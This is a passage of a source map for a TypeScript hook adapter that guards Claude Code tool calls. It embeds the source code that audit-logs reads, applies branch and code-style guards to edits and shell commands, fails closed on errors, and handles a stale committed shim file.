(decision === 'allow-cure') emitAllow();\n emitDeny(shimStaleDenyReason(installedShimRulesVersion()), payload.tool_name);\n}\n\n/**\n * Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds\n * to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a\n * PreToolUse `permissionDecision:\"deny\"` JSON on stdout (exit 0) — see claude-code-response.ts. Fails\n * CLOSED on any unexpected crash (emits a deny) so a broken hook never silently lets an edit through,\n * and the reason now surfaces in the Claude Code UI instead of being hidden on a stderr+exit-2 block.\n */\nexport async function runMain(mode: HookMode): Promise<void> {\n // Captured from the payload as soon as it parses so the fail-closed catch below can tell denyJson\n // which tool it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Empty (before parse / malformed input) → treated as non-Bash.\n let toolName = '';\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const raw = await readStdin();\n const payload = safeParse(raw);\n if (!payload) { emitAllow(); }\n toolName = payload.tool_name;\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard: blocks real work while the committed shim is stale, but keeps the\n // recovery path open (cures, reads, config edit). See enforceCommittedShim / shimStaleRecoveryDecision.\n enforceCommittedShim(payload, cwd, mode);\n\n // Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped\n // guard (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule\n // ever sees a Read, and the only way this path can deny is a stale `main`.\n // The audit trail still records every file the AI opened (see setup.ts).\n if (READ_ONLY_TOOLS.has(payload.tool_name)) {\n const readPath = payload.tool_input.file_path ?? '';\n if (mode !== 'rules') {\n logGuardInvocation(cwd, payload.tool_name, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n triggerMainSyncRefresh(cwd);\n }\n handleRead(readPath, cwd, mode);\n emitAllow();\n }\n\n // Per-invocation guard log (guard-invocations.log): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');\n logGuardInvocation(cwd, payload.tool_name, target);\n }\n\n if (payload.tool_name === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(payload, cwd, mode);\n return;\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(payload, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n // An escaped RuleFailError (a rule that threw past the runner's per-rule catch) or an\n // InformAiError (bad config/stdin) both carry an AI-readable message; anything else is an\n // unexpected bug. All three deny (fail closed) and surface their reason to the AI.\n if (error instanceof RuleFailError) {\n emitDeny(error.aiMessage, toolName);\n } else if (error instanceof InformAiError) {\n emitDeny(error.message, toolName);\n } else {\n emitDeny(`[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, toolName);\n }\n }\n}\n"]}
|
|
1
|
+
{"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/hook-core.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { logRejection } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, logGuardInvocation } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '../core/load-config';\nimport { RepoRootFinder } from '@webpieces/rules-config';\nimport { NormalizedToolInput, NormalizedEdit, ToolKind, InformAiError, RuleFailError, HookMode, BlockedResult } from '../core/types';\nimport { toError } from '../core/to-error';\nimport { emitDeny, emitAllow } from './claude-code-response';\nimport { committedShimStale, isAllowed, shimStaleDenyReason, installedShimRulesVersion } from '../bin/shim';\nimport { writeGuardMatrixDoc, guardMatrixPointer } from '../core/l0-matrix';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);\n\n// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log\n// (guard-invocations.log). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a\n// log-and-allow fast path records every file the AI opens — so a human can later inspect whether it\n// read a project's design.json BEFORE editing the project. Never blocked. Scoped to Read for now;\n// widen (Grep/Glob/NotebookRead) later if desired.\nconst READ_ONLY_TOOLS = new Set(['Read']);\n\ninterface ClaudeCodePayload {\n tool_name: string;\n tool_input: ClaudeCodeToolInput;\n // Claude Code sends the session's current working directory (follows a persisted `cd`). Used to\n // scope guards to the git repo the AI is actually in — see runner git-repo-boundary governance.\n cwd?: string;\n}\n\ninterface ClaudeCodeToolInput {\n file_path?: string;\n content?: string;\n old_string?: string;\n new_string?: string;\n edits?: ClaudeCodeEditEntry[];\n command?: string;\n}\n\ninterface ClaudeCodeEditEntry {\n old_string?: string;\n new_string?: string;\n}\n\nfunction readStdin(): Promise<string> {\n return new Promise((resolve: (value: string) => void) => {\n let data = '';\n process.stdin.setEncoding('utf8');\n process.stdin.on('data', (chunk: string) => { data += chunk; });\n process.stdin.on('end', () => resolve(data));\n process.stdin.on('error', () => resolve(''));\n if (process.stdin.isTTY) resolve('');\n });\n}\n\nfunction safeParse(raw: string): ClaudeCodePayload | null {\n if (!raw || raw.trim() === '') return null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return JSON.parse(raw) as ClaudeCodePayload;\n } catch (err: unknown) {\n const error = toError(err);\n throw new InformAiError(`Malformed hook input from Claude Code stdin: ${error.message}`, { cause: error });\n }\n}\n\nfunction normalizeToolKind(toolName: string): ToolKind | null {\n if (HANDLED_FILE_TOOLS.has(toolName)) return toolName as ToolKind;\n return null;\n}\n\nfunction normalizeToolInput(toolKind: ToolKind, toolInput: ClaudeCodeToolInput): NormalizedToolInput | null {\n const filePath = toolInput.file_path;\n if (!filePath) return null;\n\n if (toolKind === 'Write') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit('', toolInput.content || ''),\n ]);\n }\n if (toolKind === 'Edit') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit(toolInput.old_string || '', toolInput.new_string || ''),\n ]);\n }\n if (toolKind === 'MultiEdit') {\n const raw = Array.isArray(toolInput.edits) ? toolInput.edits : [];\n const edits = raw.map((e: ClaudeCodeEditEntry) => new NormalizedEdit(e.old_string || '', e.new_string || ''));\n return new NormalizedToolInput(filePath, edits);\n }\n return null;\n}\n\nfunction handleBash(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const command = payload.tool_input.command;\n if (!command || command.trim() === '') { emitAllow(); }\n const result = runBash(command, cwd, mode);\n if (!result) { emitAllow(); }\n // Persist the block + WHY. File-tool denies go to hook-rejection.log via logRejection, but a Bash\n // deny had no audit trail — record it in guard-sync-decisions.log so \"blocked and why\" is complete\n // for Bash too. `.webpieces` lives at the repo root, resolved from cwd. Best-effort; never blocks.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(root, new GuardDecision('bash-guard', 'Bash', command ?? '', branchForLog(root), 'BLOCK', result.report));\n // Bash deny → pass 'Bash' so denyJson adds the ANSI-red systemMessage (the only field a Bash deny\n // shows the human; permissionDecisionReason is invisible on Bash). See claude-code-response.ts.\n emitDeny(result.report, 'Bash');\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(result.report, 'Read');\n}\n\nfunction handleFileTool(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const toolKind = normalizeToolKind(payload.tool_name);\n if (!toolKind) { emitAllow(); }\n\n const input = normalizeToolInput(toolKind, payload.tool_input);\n if (!input) { emitAllow(); }\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This exits BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', toolKind, input.filePath, branchForLog(root), 'ALLOW', 'config-bypass (feature-branch-guard skipped)'),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n triggerMainSyncRefresh(root);\n }\n emitAllow();\n }\n\n const result = run(toolKind, input, cwd, mode);\n if (!result) { emitAllow(); }\n\n logRejection(toolKind, input, result, cwd);\n // File-tool deny → pass the Write/Edit/MultiEdit kind so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See claude-code-response.ts.\n emitDeny(result.report, toolKind);\n}\n\n// What a stale committed shim lets through — now a thin adapter over the ONE L0 allowlist (isAllowed in\n// ../bin/shim), not a list of its own. A stale shim must NEVER trap the actions needed to recover: the\n// original \"block everything but the cures\" version also shadowed the always-allowed\n// webpieces.config.json edit (handleFileTool) and blocked reads, so a repo that ALSO needed its config\n// fixed would deadlock — blocked from editing the one file whose edit is normally always allowed, and\n// blocked from reading it to know how.\n//\n// It used to carry its OWN narrower list (isShimCureCommand: the three shim cures only), and that\n// narrowness was a defect, not a safety property: `pnpm install` and `git pull` — the two commands that\n// resolve the version disagreement underneath a stale shim — were denied. Consulting the shared\n// allowlist fixes that by construction.\n//\n// What is NOT a defect, and must not be \"fixed\": those cures rewrite the committed shim from the\n// INSTALLED binary's renderShim(), overwriting whatever was there. That is the invariant, not\n// collateral damage. The shim (D/X/K, in POSIX sh, pre-binary) and this binary (S/C/Y, in JS) are two\n// halves of ONE L0 and they exchange assumptions — the shim parses file_path and carries ALLOW-READ /\n// ALLOW-CONFIG entries this binary relies on. Pair a binary with a shim rendered by a DIFFERENT\n// release and L0 acquires holes that nothing reports. So the rule is absolute: the committed shim\n// equals renderShim() of the binary in node_modules, and a cure that forces that is the cure working.\n// See healShim's header, which states the same invariant from the other side.\n//\n// Corollary for anyone regenerating the shim in a webpieces PR: commit `templates/ai-hook.sh` (source,\n// locked to renderShim() by unit test) and leave `.claude/webpieces/ai-hook.sh` (generated artifact)\n// alone. In THIS repo the local source runs ahead of the pinned node_modules, so committing a shim\n// rendered from local source produces a commit whose shim and whose @webpieces pin come from different\n// releases — precisely the mismatch above. The artifact heals on the next upgrade; that is its job.\n//\n// - 'allow-cure' → a Bash cure on the allowlist: emitAllow directly, bypassing the git guards.\n// - 'pass' → a recovery action the normal flow already permits, so fall THROUGH and let it: ANY\n// Read (you must read to know how to fix — see handleRead, which itself fails open),\n// or an edit to webpieces.config.json (the always-allowed recovery target).\n// - 'deny' → all OTHER work: blocked until the committed shim matches renderShim() again.\nexport type ShimStaleDecision = 'allow-cure' | 'pass' | 'deny';\n// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.\nexport function shimStaleRecoveryDecision(toolName: string, command: string, filePath: string): ShimStaleDecision {\n const allowed = isAllowed(toolName, command, filePath);\n if (allowed === 'pass') return 'pass';\n if (allowed === 'allow') return 'allow-cure';\n return 'deny';\n}\n\n// Committed-shim self-guard, moved here from the rendered shim (2026-07-24). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now we fail closed on all real WORK while always leaving the recovery path open (see\n// shimStaleRecoveryDecision): the whole L0 allowlist, any Read, and editing webpieces.config.json. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n if (mode === 'rules' || !committedShimStale(cwd)) return;\n const decision = shimStaleRecoveryDecision(payload.tool_name, payload.tool_input.command ?? '', payload.tool_input.file_path ?? '');\n if (decision === 'pass') return;\n if (decision === 'allow-cure') emitAllow();\n // Drop the L0 matrix doc where the AI can read it and point the deny at it — a Read is entry 1 of\n // the same allowlist, so the pointer is always followable. Best-effort: no doc → no pointer.\n const docPath = writeGuardMatrixDoc(new RepoRootFinder().resolveRepoRoot(cwd));\n 